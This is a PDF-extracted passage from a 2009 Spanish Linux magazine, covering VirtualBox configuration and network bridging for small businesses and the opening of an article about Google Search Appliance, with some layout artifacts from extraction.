nada. Si además queremos cerrar la má-quina virtual, por cualquier motivo, tenemos la posibilidad de guardar el estado de la máquina.

Figura 9. Primera impresión de VirtualBox

Figura 10. El menú Archivo

Page 27: Linux_05_2009_ES

27www.lpmagazine.org

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

Cuando queramos guardarlo, solo tendremos que pausar la máquina y cerrar su ventana. En-tonces VirtualBox nos preguntará si deseamos apagar la máquina o guardar su estado. De esta manera se mantendrá el estado de latencia una vez cerrada la ventana. La opción resulta muy cómoda si usamos máquinas virtuales a diario y no queremos apagarlas y volverlas a iniciar cada día. Tan solo tendríamos que pausarlas y cuando nos vuelva ha hacer falta restaurarla. La opción Descartar se encuentra disponible cuando la máquina ha sido pausada. Cuando la pulsáramos el estado de la máquina se elimi-naría. A efectos prácticos es como si reiniciára-mos un PC dándole al botón del reset. Mostrar historial de eventos nos mostrará en una nueva ventana todos los sucesos que ocurrieron desde que se arrancó la máquina. Esta opción es útil en casos de error o depuración.

Por último nos encontramos el menú Ayuda (Figura 12). En la opción contenidos podemos ver la documentación de VirtualBox. Con Reiniciar Todos los Avisos eliminaremos todos los mensajes, que haya dado VirtualBox ante-riormente. Si pulsamos Check for Updates nos informará si ha salido una versión nueva del software y Acerca de VirtualBox nos dará varia información como sobre la versión y licencia.

Los parámetros de las máquinas virtualesCuando tenemos una máquina virtual instalada podemos manipular sus diferentes opciones y ajustarlas según nuestra conveniencia. Para hacerlo tendremos que seleccionar una máquina, de las que tengamos instaladas, a la izquierda. A la derecha nos aparecen tres pestañas con sus diferentes propiedades. En la pestaña detalles, pulsamos en las letras coloreadas en azul: Ge-neral. Es importante recalcar que la mayoría de las opciones solamente estarán disponibles con la máquina virtual apagada. En la ventana que se nos presentará, si seleccionamos el menú Gene-ral a la izquierda, aparecerá una ventana como la

que se muestra en la Figura 13. Name indica el nombre que le hemos dado a la máquina virtual. En mi caso el nombre elegido fue Debian. OS Type es el parámetro que indica el tipo de sistema operativo que Tamaño de Memoria Base se nos ofrece la posibilidad de asignarle la cantidad de RAM que queramos a la máquina virtualizada, nosotros asignaremos 128MB, aunque sería suficiente con 64. Esto dependerá del sistema operativo que vamos a instalar y de la memoria real que tengamos en el ordenador físico. Al igual que la memoria RAM, también podemos asignarle la cantidad de memoria de vídeo que queramos. Si no vamos a hacer uso de un en-torno gráfico con 16 o 32 MB será suficiente. En caso contrario deberíamos dedicarle entre 64 y 128 MB, dependiendo del entorno y de la cantidad de memoria física que dispongamos. Si, por ejemplo, queremos instalar una Ubuntu o un Windows XP, con 64MB de memoria de vídeo tal vez sería suficiente, sin embargo, sería conveniente asignar 128MB si instaláramos un Windows Vista.

Los parámetros avanzadosCon la correcta configuración de estos pará-metros podemos alcanzar un rendimiento con-siderablemente mayor para nuestras máquinas virtualizadas. Para acceder a ellos seleccionamos la segunda pestaña del menú de configuración de la máquina virtual. El aspecto de esta pestaña de configuración puede variar dependiendo de la versión de VirtualBox que hayamos instalado, que depende de si lo instalamos con el gestor de paquetes de Debian, Ubuntu o Gentoo, o si baja-mos los fuentes de la última versión y los com-pilamos manualmente. Dado que en las nuevas versiones sí están los parámetros de versiones anteriores, pero no a la inversa, se explicarán aquellos que no pertenecen a la última versión descargable, aunque es la instalable por defecto para la mayoría de las distribuciones de Linux. En esta segunda pestaña nos aparecerá un menú como el mostrado en la Figura 14.

Al igual que en los ordenadores físicos, en VirtualBox también se puede definir y priorizar el medio con el que se desea que arranque: Disquete, disco duro, cdrom, etcétera. En una máquina virtual sucede exactamente lo mismo. Esa es la utilidad del cuadro Boot Order. Nor-malmente aparecerá en el orden en el que se ve en la Figura 14, o puede que el disquete y la red se encuentre antes. Esto puede ajustarse según convenga. Si deseamos cambiar el orden tan solo tendremos que seleccionar una opción y darle a las flechas de la derecha, que se activarán cuando se haya marcado una de las opciones. Para darle mayor prioridad le daremos a la flecha hacia arri-ba y flecha hacia abajo para disminuirla.

Seguramente Las Extended Features serán nuevas para muchos. La opción ACPI habilitará el soporte para la gestión avanzada de energía. Esta opción rara vez debería de estar deshabili-tada. Actualmente todos los sistemas operativos la soportan, así como el hardware. Esta habi-litará características como la regulación de la frecuencia de la CPU, la posibilidad de pasar al estado de hibernación y suspensión, entre otros. IO APIC habilita el sistema de interrupciones programable avanzado. Para el hardware dispo-nible actualmente sería conveniente activarlo en la mayoría de los casos, especialmente si se pre-tende instalar un sistema Windows. Si se activa en Linux ha de estarse seguro de tener el sopor-te en el kernel. En cualquier distribución actual estará activada por defecto. Para el soporte en sistemas con varios cores (Intel core, Core2, QuadCore, etc) en el procesador con proce-samiento paralelo debería de estar habilitado. VT-x/AMD-V activa el soporte hardware, en el procesador, de la virtualización. El rendimiento aumentará considerablemente en caso de poder activarla. Ambas tecnologías son equivalentes en funcionalidad pero una la incorpora Intel (VT-x) y otra AMD (AMD-V). Los procesado-res que incorporan esta funcionalidad se listan a continuación (Tabla 3).

Habilitando las extensiones PAE/NX del procesador, permitirá hacer uso de más de 4GB de memoria. Esta se encuentra disponible en procesadores Intel pentium Pro o Amd Athlon y posteriores.

El Shared Clipboard es un concepto que puede resultar impactante. Seleccionándolo en Bidireccional nos permitirá compartir el por-tapapeles del sistema. Gracias a esta podemos copiar un texto del block de notas en la máquina física y pegarlo en un editor de texto en la má-quina virtual.

El Ide controler type nos da la posibilidad de seleccionar el tipo de controlador que que-remos que VirtualBox emule como controlador del Disco Duro. A no ser que se tenga un hard-

Figura 11. El menú Máquina

Figura 12. El menú Ayuda

Page 28: Linux_05_2009_ES

28 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

ware muy antiguo lo conveniente sería que se-leccionáramos el controlador PIIX4. La última opción, snapshot folder, contiene la ruta donde VirtualBox almacenará las instantáneas que tomemos de nuestras máquinas virtuales. Las instantáneas son imágenes del disco duro (vir-tual). Esto es útil para cuando hemos terminado de instalar nuestro sistema operativo. Cuando lo hayamos dejado todo configurado a nuestro gusto podríamos crear una instantánea. De esta manera si nuestro sistema se vuelve inestable o dejara de funcionar podríamos volver al punto en que tomamos la instantánea, es decir, restau-rarlo y dejarlo en el punto que fue tomada.

Las pestañas de descripción y OtrosEn la pestaña descripción podemos escribir un pequeño comentario sobre el uso o la utilidad que tiene esa máquina virtual. Esto es muy útil cuando se tienen muchas máquinas y son usa-das para diferentes cometidos.

En la pestaña Other Podemos activar la opción: Remember Mounted Media. Para expli-carla es necesario comentar como se le añaden dispositivos a la máquina virtual. Imaginemos que tenemos 2 máquinas virtuales arrancadas y funcionando. Entonces conectamos un pen-drive de memoria al ordenador. Nuestro sistema operativo de la máquina física lo reconocerá, permitiéndonos usarlo. Tal vez querríamos conec-tarlo a alguna de las máquinas virtuales. Cuando lo asociamos a ella sería como si se le hubiera conectado un pendrive igual que a la física. La conexión de este dispositivo puede ser recordada cuando ésta se apague y vuelva a encenderse. Para ello tendríamos que marcar esta opción.

Configuración de los discos durosEn las pestañas de selección que se encuentran a la izquierda elegimos el Discos duros, a la derecha nos aparecerá una lista con los dispo-nibles para esa máquina virtual. Es concepto de disco duro en una máquina virtual es un tanto extraño. Nosotros podemos crear tantos discos duros virtuales como queramos. Cuando arranquemos el sistema huésped, éste detectará todos los que tengamos añadidos y los reco-nocerá cada uno de ellos como discos físicos diferentes. Una de las grandes ventajas de las máquinas virtuales es que los discos duros que se le asocian son ficticios. Esto significa que VirtualBox creará un serie de archivos, con el tamaño (éste es la suma de los tamaños de todos estos archivos) que le asignemos al disco duro virtual, y le hará creer al sistema virtualizado que realmente existe ese disco. He aquí la gran ventaja, pues aunque modifiquemos cualquier cosa en el disco virtual, desinstalemos o rom-pamos el sistema de archivos de éste, todos

esos cambios se quedarían en esos ficheros. No afectan en absoluto al disco duro real. Por eso las máquinas virtuales son perfectas como entornos de pruebas.

Para crear un nuevo disco tan solo debemos de darle al botón que se encuentra a la derecha, en que aparece un + pintado en verde. Se nos abrirá un asistente. Hemos de seguirlo. La úni-ca cosa que cabría resaltar de él son los tipos de imágenes (Así llama VirtualBox a los dis-cos duros virtuales). Cuando creamos un disco virtual tenemos la opción de reservar todo el espacio con el que decidimos crear el disco en el momento de la creación (Imagen de Ta-maño Fijo) o que reservar ese espacio, poco a poco, cuando vaya haciendo falta (Imagen de Expansión Dinámica). La elección, normal-mente, será la de expansión dinámica. De esta manera ahorraremos espacio, aunque perdere-mos algo de eficiencia al tener que calcular el espacio necesario al vuelo. En el siguiente paso asignamos el tamaño que deseamos y daremos un nombre a nuestro nuevo disco virtual. Es importante recalcar que solo podemos marcar un disco duro como primario. El resto han de ser secundarios.

Configuración del CDROM y disqueteSeleccionando en el menú de la izquierda CD/DVD-ROM nos mostrará, en la parte de la izquierda un cuadro de selección con el que po-dremos activar el soporte óptico en la máquina virtual. VirtualBox ofrece varias opciones para hacerlo. La primera, que es la convencional, es usar el lector de la máquina física. Esta viene con el nombre de Unidad CD/DVD-ROM an-fitrión. La segunda puede resultar curiosa para la gente neófita. Con ésta se nos da la posibi-lidad de seleccionar una imagen, o ISO, como

unidad de CDROM. VirtualBox se encargará de emular y hacer creer al sistema virtuali-zado que se trata de una unidad de CDROM. Esto es muy útil cuando queremos instalar un nuevo sistema operativo. Muchos de estos suelen estar en formato .iso. Este formato está preparado para ser grabado directamente en un CDROM virgen. Seleccionando esta opción en VirtualBox nos ahorramos el gastarlo. Además, el acceso es considerablemente más rápido. Para el caso del disquete sucede exactamente lo mismo.

Configuración del dispositivo de sonidoSeleccionado la pestaña Audio, a la izquierda, podemos habilitar el acceso a la tarjeta de sonido para la máquina virtual. En la sección derecha, una vez hayamos activado la opción, podemos seleccionar de los desplegables varias cosas. La primera es el sistema de sonido que deseamos usar (opción Host Audio Driver). Actualmente el sistema más usado es ALSA. Salvo que se haya modificado expresamente el servidor de sonido éste será el que tenga insta-lado. Con el otro desplegable podemos elegir la tarjeta de sonido que queremos que emule Vir-tualBox. Salvo que tenga un buen motivo para hacerlo, debería de elegir: ICH AC97. La razón es porque la mayor parte de los sistemas ope-rativos soportan sin problemas este dispositivo por defecto y, normalmente, será mejor que la otra opción que se nos presenta.

Configuración de las tarjetas de redLa configuración de la red es uno de los pun-tos débiles que había tenido VirtualBox hasta ahora. El motivo no es la falta de soporte, ni la imposibilidad de no poder hacer las mismas cosas que con otro software. La razón era la

Figura 13. Selección del cantidad de RAM y memoria de vídeo

Page 29: Linux_05_2009_ES

29www.lpmagazine.org

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

complicación a la hora de establecer determina-das configuraciones.

En su versión estable VirtualBox soporta hasta cuatro interfaces de red (en su última versión este número asciende a ocho). Se nos ofrece la posibilidad de simular cada interfaz de una forma diferente, así como la emulación de diferentes tipos de tarjetas de red (usando drivers diferentes).

Para habilitar la tarjeta de red marcamos el botón de chequeo correccionalmente. En pri-mer lugar nos aparece el desplegable Adapter type. Aquí podemos elegir el driver a emular. Si no va a instalar un sistema operativo excesiva-mente viejo debería decantarse por Pcnet-FAST III (Am79C973). En caso contrario elija la otra opción.

La gran diferencia entre configuraciones de las diferentes tarjetas se encuentra en el desple-gable Attached to. La primera opción, No conec-tado, tiene un efecto (en el sistema virtualizado) como si existiera una tarjeta de red conectada al PC pero se encontrara deshabilitada. Con NAT, seremos capaces de conectarnos a la red de for-ma que VirtualBox se encargará de realizar el nat con la tarjeta de red física. Cuando encendamos la máquina virtual y nuestro sistema operativo pida una dirección IP, éste se encargará de asig-narle una de un rango privado, y el resto de pará-metros de configuración. Podríamos decir que el efecto es el mismo que si conectáramos un PC al router de nuestra casa. VirtualBox haría el papel de router. A no ser que tenga otras necesidades, esta debería de ser la opción elegida. Si elegimos Interfaz Anfitrión, le diríamos a VirtualBox que emule la tarjeta de red real completamente. De esta manera creará una especie de canalización directa entre la máquina virtual y la tarjeta de red, sin intermediarios. De este modo todo el

tráfico entrante y saliente que circule por esa tarjeta de red, y vaya dirigdo a esa nueva inter-faz de red simulada, MAC Address nos permite cambiar el identificador de nuestra tarjeta. Este identificador es un número único que cada fabri-cante dispone para asignarle a sus productos, y que las establece la organización internacional pertinente. Tenemos la posibilidad de cambiar este número o que VirtualBox nos los autogene-re. Para autogenerarlo hemos de darle al botón Generar. La última opción que se nos permite marcar Cable conectado, le dice a VirtualBox si la tarjeta de red estará encendida cuando arran-quemos el sistema virtualizado o no. Finalmente nos encontramos la opción red interna. Este tipo de configuración es especialmente útil cuando queremos simular un entorno de maqueta para hacer pruebas. Con ella podemos crear redes internas a las propias máquinas virtuales, en la que solo aparecieran en la red todas aquellas que se configurarán con esta opción. Este proceso se explicará más detalladamente más adelante.

Configuración del puerto seriePodemos configurarlos seleccionando la opción de la izquierda Puertos seriales. Se nos da la posibilidad de configurar dos puertos. Lo ha-bilitaremos marcando el botón de chequeo que nos aparecerá a la derecha. Debemos seleccio-nar el puerto al que queramos acceder (COM1, COM2, etc). Al igual que con las tarjetas de red tenemos la opción de usarlo en modo compar-tido, Tubería (pipe) Anfitrión (sería análogo al NAT) y Dispositivo anfitrión que sería el equivalente al interfaz anfitrión para las tarjetas de red. Tanto para uno como para el otro, ha de elegir la ruta donde se encuentra el dispositivo. Estos están en /dev/ttySX donde la X correspon-de con el dispositivo físico.

Directorios compartidosEste punto puede que sorprenda, gratamente, a muchos. Es una de las funcionalidades más prácticas y cómodas que podemos encontrar en los sistemas de virtualización. Esto es: tene-mos la posibilidad de seleccionar una carpeta en la máquina física y compartir el contenido de la misma con la máquina virtual que desee-mos (o con varias) y viceversa. Cualquier cosa que guardemos en esta carpeta en la máquina virtualizada se quedará almacenado en el directorio de la máquina física que hayamos elegido, aun después de que hayamos apagado la máquina virtual. Esto es especialmente útil para compartir archivos entre máquinas virtuales.

Para crear un directorio compartido haremos click en el botón que se encuentra a la derecha con una + en verde. En Folder path elegimos el directorio, de la máquina física, que queremos compartir. En Folder name el nombre con el que queremos que se vea en la máquina virtualizada. Si deseamos que la carpeta solo pueda ser leída por las máquinas virtuales marcamos la opción de solo lectura. Finalmente aceptamos.

Para usar estas carpetas tenemos que seguir procedimientos diferentes si queremos usarlas en Windows o en Linux. Para usarlas en Win-dows abrimos el Explorer (No el Internet Explo-rer) y escribimos: \vboxsvr\CARPETA. Donde CARPETA es el nombre que le dimos cuando la creamos. Para un sistema Linux tendríamos que escribir: mount -t vboxsf share P_MONTAJE. Donde P_MONTAJE es el directorio que queremos montar compartido.

Es muy importante recalcar que para que se encuentre disponible la posibilidad de usar esta característica es imprescindible tener instalado las Guest additions.

Instalación de la Guest additionsPara poder disfrutar de todas las posibilidades que nos brinda VirtualBox es imprescindible tener ins-talados los Añadidos para le huésped. Estos son controladores y drivers para el sistema virtualiza-do, que activan características como: Portapapeles compartidos, directorios compartidos, mejor ren-dimiento de la tarjeta gráfica, etc. Su instalación es sumamente simple. Tan solo hemos de arrancar la máquina virtual en la que deseamos instalarlos. Entonces seleccionamos el menú Dispositivos, y dentro de este Instalar Guest additions (Instalar aplicaciones del huésped). VirtualBox se encar-gará de descargar los archivos necesarios por nosotros y crear un cdrom virtual en la máquina huésped. Una vez hecho esto hemos de instalar las herramientas como si instaláramos cualquier otro tipo de software desde el cdrom.

Figura 14. Parámetros avanzados

Page 30: Linux_05_2009_ES

30 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

Configuración de la redEn el punto anterior se explicó brevemente la configuración de las tarjetas de red en sus formas más simples. En este punto se va a explicar la configuración para las tarjetas cuando se necesita una disposición un poco más avanzada. Esta con-figuración es la que adopta cuando ponemos el adaptador de red en modo Interfaz anfitrión. Para conseguir este tipo de configuración se han de se-guir unos pasos nada intuitivos. Afortunadamente en las últimas versiones todo este proceso no es necesario, ya que es llevado a cabo por el propio VirtualBox. Pero en las versiones consideradas estables sí lo es. A continuación detallaremos este proceso.

Lo pasos a seguir serán los siguientes: Ins- talar el software adicional necesario, cargar los módulos del kernel correspondientes, configurar y preparar esa configuración para el arranque automático. Siguientes los anteriores pasos, ins-talamos el software adicional necesario. Para ello abrimos una consola e instalamos lo siguiente:

En Debian/Ubuntu:# apt-get install uml-utilities

# apt-get install bridge-utils

En Gentoo:

# emerge bridge-utils

Ahora es necesario cargar los módulos del kernel correspondientes. Puesto que lo que realmente hace nuestra máquina física es crear un puente

con la máquina virtual tenemos que cargar el soporte para realizar esta acción en el kernel. Para ello cargamos el módulo tun (como usua-rio root):

# modprobe tun

Si no queremos tener que hacer esto cada vez que necesitemos usar VirtualBox, podemos añadir el módulo para que se autocarge en el arranque. Para ello editamos:

En Debian/Ubuntu el archivo /etc/modules, y añadimos lo siguiente:

[…]

tun

[…]

En Gentoo editamos el archivo /etc/modules. autoload.d/kernel-2.6, y añadimos la misma línea que para Debian y Ubuntu.

Ahora es necesario configurar las interfaz y crear el túnel. Podemos hacer esto modificando una serie de archivos de configuración y reini-ciando los parámetros del sistema. Normalmente la mayoría de usuarios se conectan usando DHCP, por tanto se explicará para este caso. La configuración es la que sigue (ha de hacerse como root).

En Debian/Ubuntu ha de modificar el archi-vo /etc/network/interfaces y añadir las siguientes líneas (Listado 5).

La primera vez que vayamos a usar el puen-te, antes reiniciar toda la red del sistema tenemos que ejecutar los siguientes comandos. Esto solo ha de hacerse la primera vez, después se hará au-tomáticamente cada vez que si inicie el equipo.

# /sbin/ifup vbox0

# /sbin/ifup br0

En Gentoo (Listado 6).Donde INTERFAZ es la interfaz de red con

la que accede a internet. Si solo dispone de una tarjeta de red ethernet será, con toda seguridad, eth0. Si por el contrario se conecta con una tar-jeta inalámbrica el nombre puede variar. Podría llamarse wlan0, eth0, o incluso de otro modo. Para asegurarse teclee el comando iwconfig. To-das las interfaces que no son inalámbricas se le indicará. Por ejemplo, podría aparecerle una lí-nea como esta: eth0 no wireless extensions. Re-conocer la tarjeta wifi es muy simple. Será aquel- la en la que no aparezca ese mensaje. Cambie USUARIO por el del usuario con el que accede al sistema.

Antes de rearrancar toda la red hemos de dar los permisos adecuados a la interfaz que hace de túnel, de lo contrario no podríamos acceder

a ella por muy bien configurada que esté. Para ello tecleamos en un terminal, en modo root, lo siguiente: chmod 0666 /dev/net/tun.

Hecho este paso ya estamos en disposición de reiniciar los servicios de red. Para hacerlo tecleamos lo que sigue.

En Debian/Ubuntu:

# /etc/init.d/networking restart

En Gentoo:

/etc/init.d/netmount

Realizados todos los pasos tan solo nos queda configurar la interfaz virtual en VirtualBox. Abri-mos la configuración de la máquina virtual que queramos puentear y la ponemos en modo Anfi-trión. Debajo nos aparecerá un cuadro en blanco. Para añadir nuestra interfaz puente recién creada escribimos en el cuadro de texto Interfaz name: vbox0. Sólo un pequeño añadido más. Para que todo funcione correctamente hay que asegurar-se que, para cada usuario que quiera acceder a las máquinas virtuales, ha de haberse añadido previamente al vboxusers.

ConclusiónHemos llegado al final de este número. En él se han mostrado los principales parámetros de configuración e instalación, además de hacerse unas breves comparativas de los productos actu- ales y sus posibilidades. En la próxima entrega se abordará una instalación práctica de todo un sistema de maqueta, con una infraestructura de red compleja, así como la instalación, paso a pa-so, de un sistema virtualizado, clonación de má-quinas virtuales. También se instalarán y con- figurarán máquinas virtuales independientes pa-ra ofrecer: servidores web, sistemas de bases de datos, firewalls perimetrales avanza dos y mucho mas.

Daniel García, es Diplomado en Ingeniería Técnica Informática por la Escuela Politéc-nica Superior de Informática de Albacete. Especializado en seguridad informática, trabaja actualmente como auditor de segu-ridad para Arcitel Ibérica S.A., en división de seguridad de Telefónica I+D. Puede localizarse en la web en la que colabora, o en el correo electrónico:

Web: www.iniqua.comE-mail: [email protected]: [email protected]

Sobre el autor

Listado 5. Configuración del bridge en Debian

auto vbox0

iface vbox0 inet manual

auto br0

iface br0 inet dhcp

bridge_ports all vbox0

up ifconfig INTERFAZ 0.0.0.0 up

down ifconfig INTERFAZ down

tunctl_user USUARIO

Listado 6. Configuración del bridge en Debian

config_eth0="null"

tuntap_vbox0="tap"

tunctl_vbox0="-u USUARIO"

config_vbox0="null"

bridge_br0="vbox0 INTERFAZ"

config_br0="dhcp"

brctl_br0="setfd 0

sethello 0

stp off"

Page 31: Linux_05_2009_ES
Page 32: Linux_05_2009_ES

soluciones para empresasGoogle Search Appliance

32 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Google Search ApplianceGoogle es el buscador de contenidos más importante a nivel mundial, perteneciente a Google Inc. y fundado por Larry Page y Sergey Brin (dos estudiantes de doctorado en Ciencias de la Computación de la Universidad de Stanford) hace ya mas de 10 años.

Miguel Sempere

Su éxito se basó en una novedosa forma de realizar las búsquedas online, con la creación de un algo-ritmo, el 'PageRank', que posteriormente pasaría a ser el corazón que haría funcionar a Google.

Pero antes de la gallina apareció el huevo y antes de Go-ogle surgió BackRub, buscador escrito en Java y Python que posteriormente cambiaría de nombre y pasaría a ser conocido como en la actualidad.

En 1998, el año que marcaría un antes y un después para Google Inc. comenzó con Larry y Sergey buscando apoyo económico y sistemas de financiación, pero sólo lograron encontrar ofertas demasiado bajas o empresas que no preten-dían desarrollar su idea de la forma que ellos tenían pensado. Así que después de un traslado de los equipos a la habitación de Larry Page, decidieron fundar su propia empresa creando la oficina principal en el cuarto de Sergey, junto al de Larry.

A pesar de ello Google seguía indexando webs y obligó a Larry y Sergey a desembolsar 15.000$ en discos duros rebajados haciéndoles dejar de lado sus doctorados y dedicar todo su tiempo a su idea.

En el presente, Google es el motor de búsqueda en Inter-net más usado y eficaz con una capacidad para ofrecer acceso

a más de 8.168 millones de páginas webs y con más de 200 millones de consultas al día.

¿Qué es Google Search Appliance (GSA)?Ahora imagine tener todo el potencial de búsqueda de Google en la empresa con una tecnología muy similar a la empleada en la web google.com. Fue este el motivo por el que miles de gerentes de IT y ejecutivos perdieron el sueño, deseosos e impacientes por que Google saltara los firewalls corpora-tivos y pasase a formar parte del mundo empresarial. Así al fin, en Febrero de 2002 y gracias a Nitin Mangtani, se llevó a cabo la esperada presentación de la primera versión de Go-ogle Search Appliance.

Actualmente GSA, en su versión 5.0, se presenta como viene haciendo habitualmente en sus versiones anteriores, es decir un rack plug and play instalable en la empresa, carac-terizado por su flamante color amarillo, ofreciendo un acceso a contenidos empresariales mucho mas rápido, eficaz y segu-ro que de cualquier otra forma.

Basado en la tecnología web de Google y adaptada para los clientes de la corporación, permite a los empleados de la empre-sa acceder a toda la información, proveniente de gran variedad

Page 33: Linux_05_2009_ES

soluciones para empresasGoogle Search Appliance

33www.lpmagazine.org

de fuentes internas y externas. Así como sistemas de gestión de contenidos, sistemas de ficheros, intranets, bases de datos, aplicaciones y servicios alojados, ayudando a que las empresas se benefi-cien del concepto de Búsqueda Universal.

GSA se puede adquirir en dos modelos di- ferentes, GB-1001, GB-5005 y GB-8008, com-pletamente diferenciados de su versión reducida, Google-Mini, en cuanto a capacidad máxima de documentos y fuentes de contenido. Todos ellos emplean el mismo software que se utiliza en los centros de datos de Google. El sistema operativo que usan estos modelos, es una versión mejorada de Linux optimizada para la realización de bús-quedas y que se le denomina de manera no oficial como Linux de Google.

En cuanto al hardware, Google prefiere no dar detalles del sistema que emplean sus modelos y sólo especifica que sus dispositivos poseen un hardware capacitado para realizar las tareas por las que han sido desarrollados.

¿Para qué sirve? GSA tiene una eficacia, en la que es capaz de llevar a cabo una indexación de documentos, de hasta 3 millones en el modelo GB-1001 y 30 millones en el GB-8008.

Así mismo esta gestión la puede realizar so-bre más de 200 formatos diferentes (txt, ans, doc, pfc, jw, wri, dox, xlc, etc.), siendo apto de conver-tir estos a HTML, donde es capaz de resaltar las

palabras importantes de los resultados, permitien-do a los usuarios corporativos visualizar y tratar los archivos con mayor rapidez.

Permite disponer de la gran cantidad de datos extraviados o mal ubicados en sus servi-dores web, servidores de archivos, sistemas de administración de contenido, bases de datos re-lacionales y aplicaciones comerciales al instan-te y a través de un único cuadro de búsqueda.

Pero no todo en la corporación es sólo bus-quedas e indexación. Google Search Appliance permite una amplia administración y personali-zación en 27 idiomas diferentes, desde alemán, catalán, inglés, italiano pasando por turco, vasco, vietnamita, finés y hungaro, permitiendo realizar busquedas en 40 idiomas.

De este modo permite integración con Google Analytics, que es capaz de realizar un estudio sobre el modo de empleo de los resultados de búsqueda y Google Webmaster Tools, para ge-nerar automáticamente un sitemap y detectar el contenido del site web empresarial. Así mismo es posible imponer filtros a determinados idiomas, tipos de archivos, sitios webs o metacódigos.

Supervisión mediante interfaz SNMP están-dar, para poder estudiar el estado del sistema y las estadísticas de servicio. Agrupaciones, para poder segmentar el índice de la búsqueda permitiendo mostrar diferentes resultados dependiendo del tipo de cargo de usuario, nombre de dominio, etc.

Todo esto bajo un nivel de seguridad que ofrece control de acceso en el nivel de usuario y de documento, en todo el contenido corporativo, a fin de que se pueda asegurar que los usuarios sólo obtengan los resultados de la búsqueda acor-des a los documentos que pueden consultar.

Esto es posible gracias a el empleo de cer-tificados x509, API de protección de contenido, autentificación HTTP de NTLM y asistencia nati- va para Kerberos. Los modelos GB-5005 y GB-8008 tienen una capacidad para resistir distintos

tipo de fallos del hardware y aun así seguir ofre-ciendo contenido sin interrupciones. A diferencia del modelo GB-1001 que ofrece soporte RAID para ofrecer redundancia frente a posibles fallos de la unidad.

Con esto muchos clientes del modelo GB-1001 de un sólo servidor, lo implantan en dos unidades para obtener de este modo mayor fia- bilidad.

Las capacidades de control de acceso de Google se integran con los sistemas de seguridad existentes de la mayoria de empresas, con lo que su implantación en cualquier corporación no se convierte en una tarea engorrosa. Y esto junto con su sistema de plug and play le permiten al rack comenzar con la indexación de forma ins-tantanea.

¿Quién puede utilizarlo? GSA está dirigido a todas aquellas empresas que necesiten un rápido acceso a distintos tipos de documentos, ya que según Delphi Group, los trabajadores del conocimiento dedican hasta el 25 por ciento de su jornada laboral a buscar información. Con lo que poseer una alta capa-cidad de búsqueda en la corporación, permite incrementar la productividad.

En la actualidad la Generalitat de Catalunya emplea GSA, suministrando más de 800.000

Desde la implantación de este servicio de Google, han conseguido una web más eficiente, así como un aumento del 10 por ciento mensual del tráfico respecto a años anteriores.

Kimberly-Clark es una empresa internacio-nal líder en el sector de productos sanitarios y de higiene que cuenta con una plantilla de más de 55.000 empleados en todo el mundo y con un volumen de ventas de 18.300 millones de dólares en el 2007. Inicialmente no se podían realizar búsquedas en los servidores de archivos corporativos, sólo se podía buscar en la intranet principal y en unos cuantos sitios externos, su-mando un máximo de 500.000 archivos.

Figura 1. Cartel de guia para los visitantes en Google Inc

Figura 2. Imagen del Google Search Appliance

Listado 1. Propiedades de la configuración

gsa.host=gsa32.

enterprisedemo-google.com

gsa.port=80

gsa.site=default_collection

gsa.client=default_frontend

gsa.proxystylesheet=

default_frontend

gsa.providertext=GSAOneBox Search

gsa.image=samples/gsa/images/

gsa.jpg

gsa.name=GSA32

gsa.maxresults=3

Page 34: Linux_05_2009_ES

34 Linux+ 5/2009

soluciones para empresasGoogle Search Appliance

Tras la implantación de GSA, se ha aumen-tando la posibilidad de consultar cerca de 22 mi- llones de documentos al día ubicados en su in-tranet y en servidores de archivos corporativos asociados.

Audi, empresa automovilistica, antes de la implantación de Google Search Appliance reali-zó un estudio entre su antiguo motor de búsqueda y el nuevo GSA, analizando los 10 primeros resultados, buscando el texto “neumático de in- vierno”.

Mediante GSA el término también aparecía acompañado de un vínculo con el que podían efectuarse pedidos, mientras que la otra herra-mienta sólo ofrecía al usuario enlaces a comuni-cados de prensa.

¿Puedo probarlo antes de decidirme por la compra? Quizá uno de los problemas más habituales para una empresa, es tener que tomar la difícil deci-sión de compra de alguno de los Google Search Appliance y si éste sería realmente necesario. Asi como determinar si la herramienta se adapta a las necesidades de las empresa. Es por ello que a finales de 2008 Google sacó a la luz una edi-ción virtual que tiene prácticamente las mismas funcionalidades que las versiones físicas, aunque con fines no comerciales, solamente para desa-rrollo, configuración y probar la API. Google Search Appliance virtual edition se puede des-

cargar desde la siguiente dirección: http://code. google.com/intl/es-ES/enterprise/gsave/download_ install_guide.html

El único inconveniente (razonable, pero al fin y al cabo inconveniente) de esta aplicación son los prerrequisitos mínimos y recomendados para su ejecución.

Un procesador Intel Pentium D 915 (dual core), con 4 GB de memoria ram y 40 GB de espacio libre en disco a 7200 RPM o mejor, generalmente no es algo de lo que pueda gozar todo el mundo, pero que vista su capacidad de poder indexar sobre los 50.000 documentos, parece completamente normal.

Una vez cumplidos los prerrequisitos más exigentes, lo mas común es que no tengamos problemas a la hora de conseguir una versión de Vmware (http://www.vmware.com/products/server/) y conexión mediante ethernet.

Llegados a este punto, realizaremos los siguientes pasos:

• Descomprimiremos el archivo obtenido a traves de la web de Google Code.

• Comprobaremos la suma MD5 para berifi-car que todo es correcto y no es una imagen corrupta.

• Abriremos con Vmware el fichero bajado, que tiene el estilo vgsa_{date}.vmx don-de {date} es la fecha de la versión.

• Esperaremos (unos 5 a 10 minutos) hasta que veamos el dialogo de configuración que muestra que el estado es activo.

• En la pantalla podrá observar la dirección IP del virtual appliance, que será recomen-dable anotar para siguientes pasos.

Ahora mismo sería posible acceder al GSA vir-tual a través de un navegador. Con lo que para realizar su administración deberíamos acceder

a la siguiente URL: http://<IP address>:8000, en cambio para realizar búsquedas seria: http:// <IP address>:80.

Ante ciertos problemas, Google aconseja uti-lizar cualquier versión de Vmware player o server igual o superior a la 1.0 exceptuando la 2.0.

¿Un hardware así no será muy difícil de instalar? La instalación de Google Search Appliance se caracteriza por su facilidad de puesta a punto, ya que en pocos instantes después de la primera conexión el indexado comienza instantanea-mente pudiendo empezar a realizar búsquedas segundos después de realizar el encendido.

El proceso de instalación de Google-mini o GB-1001 seria el siguiente: Realice el encen-dido del dispositivo, conecte al PC mediante el cable de configuración y acceda a través del na-vegador a la la URL http://192.168.255.1:1111/.

